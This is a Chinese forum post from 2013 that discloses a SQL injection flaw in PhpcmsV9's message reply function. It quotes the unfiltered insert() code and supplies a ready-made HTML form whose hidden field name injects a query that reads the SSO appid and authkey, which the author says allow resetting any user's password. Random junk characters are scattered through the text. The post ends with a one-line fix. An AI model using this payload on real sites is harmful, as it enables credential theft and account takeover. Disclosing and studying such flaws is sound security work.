找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2096|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
  B1 f6 q) Q; J8 b
$ M/ M5 e) O; Y, ^8 g$ T7 T第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。/ C/ r! h+ F% I0 X. S, M( K
/ X. S' W( W8 X/ T9 f0 ~
明天再更新下一个漏洞。3 [0 H8 X$ D' ?6 l6 u
详细说明:
/ L8 \) w/ V4 [/ J/ S+ M: u在/phpcms9/phpcms/modules/message/index.php中有代码如下:; \' {) o& t3 i

% N9 x9 N: ~5 Q1 ]$messageid = $this->message_db->insert($_POST['info'],true);; o* D7 X6 Z! i
: R* E. R, q. E0 S0 p- C

3 C  g& I/ S4 j) z4 m3 w# ~insert方法是key value的,代码如下:9 |) B/ v* H- h0 ?& [8 d1 e/ k
3 E6 D( ]1 h& W/ L# S
public function insert($data, $table, $return_insert_id = false, $replace = false) {
! ^. K; {2 m1 p8 O3 ?2 k. O8 ~                if(!is_array( $data ) || $table == '' || count($data) == 0) {
/ m, \" x0 ?& e* P; i                        return false;
7 p! t( u4 K# G, g5 P3 _                }; @9 ]. n, i! n# w
               
3 h" F/ m2 b; O' ~* R                $fielddata = array_keys($data);
2 m) T* _5 Q) r" F                $valuedata = array_values($data);
# o/ e& j0 q- z" u: ?7 ^0 A                array_walk($fielddata, array($this, 'add_special_char'));; f8 o% V2 ]9 j6 ?/ s% F: |/ r
                array_walk($valuedata, array($this, 'escape_string'));
) f2 Z1 x3 c  o4 @' ?% U9 X4 D7 G               
; s1 s& ^# r, |9 i                $field = implode (',', $fielddata);
# D% ~$ D* f0 A# P2 B$ X. k) K                $value = implode (',', $valuedata);  `9 \6 I2 N) o1 z) q% O7 O
- a3 d, D5 C. V9 u  p9 W- |
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';2 v1 m3 c: y/ ]* W
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ Y! K  F  I  I8 U) J  ?0 Y                $return = $this->execute($sql);
. \4 ~9 l* O4 U/ s* g                return $return_insert_id ? $this->insert_id() : $return;
9 K% J0 q$ z. m7 I        }, f) }! ]$ n1 g) o; q1 W+ V
5 }$ b; F4 h- w( E" @

0 d! Y3 a) n& m2 B8 A8 _2 N' K嗯,很遗憾的是1 T' n$ d6 `% e; K$ f/ j8 O2 s

9 q, Z6 v% ^+ L9 n9 |# @0 {# Qarray_walk($fielddata, array($this, 'add_special_char'));9 Y& o+ o4 F, o) G3 ^- a" D

9 I  y3 t. W" a: n7 `  T4 q6 @
1 a8 U# Y( b. u1 u  M9 E中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
2 @( Y; E1 K$ |$ R/ a8 D. i8 V. Q. B) Y2 f  t3 h( B) \4 q' _
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
/ O2 T; E  x, S8 ]5 N: h2 i9 a4 u1 t2 D. d( `  |; V
漏洞证明:1 o1 {4 S! w4 s
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
& R: R5 M! W+ d) [' B7 R2 @5 b4 w3 N# D9 j: e9 X3 n

" V6 J$ ?" ~2 C2 L表单如下:用户名什么的得自己改一改。* A3 L1 H: |/ @+ g& z, P9 a1 r
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
- F- f5 C* [; `; k<table width="100%" cellspacing="0" class="table_form">1 W- I9 V! S! r: {2 U% K, I  v
<tr>$ q' o$ s' _# O: U! U3 e. I# v
<th>标 题:</th>
7 {' g3 |8 e9 q: O: q6 ]) H<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>7 B: p. @8 P9 n- w" U* X0 n) ]
</tr>
/ I) t, F" K- q, J' s<tr>& r6 i& b! ~5 F7 D  R8 @
<th>内 容:</th>
8 ^7 q) p/ k) x8 N; u5 l! b# N! v: M# I$ }<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
" v: ]0 k$ B5 k; H5 l</tr>9 C( H" [* g" a7 R% a6 K4 `. y
<input type="hidden" name="info[replyid]" value="2" /> . c% P% r3 \8 W! X/ }9 z
<input type="hidden" name="info[send_to_id]" value="cc" />
4 r% y3 s3 m; H8 ?7 d8 _4 n. n4 E<input type="hidden" name="info[send_from_id]" value="hh">
: v2 `( o0 a' s, \2 u7 v1 v<!-- 漏洞的利用重点在这里开始 -->
7 \# l& t% J8 Z8 i, E<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
2 f1 P& V- ?3 ?. |<!-- 漏洞的利用重点在这里结束 -->* }  b/ S! r: \2 C' M" e
<tr>
- U, o, d! z* X5 e+ X4 l<th>验证码:</th>
/ K1 e- x8 Z0 m4 J4 E) Q: i<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>  g  C3 G0 X- X. C5 L2 V9 U& ~
</tr>
' m: T1 e0 ?4 N8 J6 o% B<tr>
, ]5 x' e) k1 Q) e) n+ u+ L- y<td></td>
6 X# {) ^0 i. j* b! q<td colspan="2"><label>
2 }: {( c) A4 I<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>5 \/ D* \+ V! |6 L6 N5 r" i
</label></td>
7 @- f. v, K. t- s0 L$ d2 C2 l; m</tr>
4 T( B$ C  ~2 ]1 |4 G4 G</table>9 N. a7 {. ~" F- D! ]
</form>: L5 h, Y7 L. o3 b" i+ x
在add_special_char函数内对key做过滤就可以了。
' b  k0 c, a" X1 ?
9 \- e" h' {; G% N# C
+ o9 Y1 t" |3 C. W, _7 H! p1 ]( t% F1 ^' [4 m; b. P3 l

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表